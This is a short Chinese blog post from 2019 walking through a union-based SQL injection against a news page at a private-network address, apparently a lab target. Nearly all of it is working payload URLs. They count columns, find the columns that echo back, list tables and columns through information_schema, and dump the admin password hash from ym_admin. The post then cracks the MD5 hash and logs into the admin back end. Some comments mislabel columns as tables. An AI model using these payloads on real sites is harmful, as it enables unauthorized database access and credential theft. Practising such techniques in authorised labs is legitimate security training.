SQL注入

登录10.6.1.54,任意点取一个新闻的链接(http://10.6.1.54/newcontent.php?aid=-79 后面加#,返回正常说明是mysql

 

http://10.6.1.54/newcontent.php?aid=-79 order by 18-- 数据库有18个表(/*1开始试,取19时报错新闻内容消失,此时证明有它的数据库有18个表)

*aid79前加上“-”号才能显示,(“-”的作用相当于1=2,即条件为假)

http://10.6.1.54/newcontent.php?aid=-79 union select 1,2,3....18   /*联合查询,判断回显数据位置

http://10.6.1.54/newcontent.php?aid=-79 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- /*查看数据库名(user()查看用户、version()查看版本信息)

 

 

http://10.6.1.54/newcontent.php?aid=-79 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema=数据库名字(用16进制表示)--   /*查看表名

http://10.6.1.54/newcontent.php?aid=-79 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema=数据库名字(用16进制表示) limit 1,1-- /*查看字段名

limit 2,1 3,1...查看其他字段名

 

http://10.6.1.54/newcontent.php?aid=-79 union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where table_name=表名(用16进制表示- /*查看列名

http://10.6.1.54/newcontent.php?aid=-79 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,pwd,15,16,17,18 from ym_admin--  /*爆管理员账户密码

 

得到MD5加密的密码b7a782741f667201b54880c925faec4b

解密得到密码10000

登录后台

输入密码成功登录

 

posted @ 2019-09-16 19:08  Youngstrayschoolgirl  阅读(138)  评论(1编辑  收藏  举报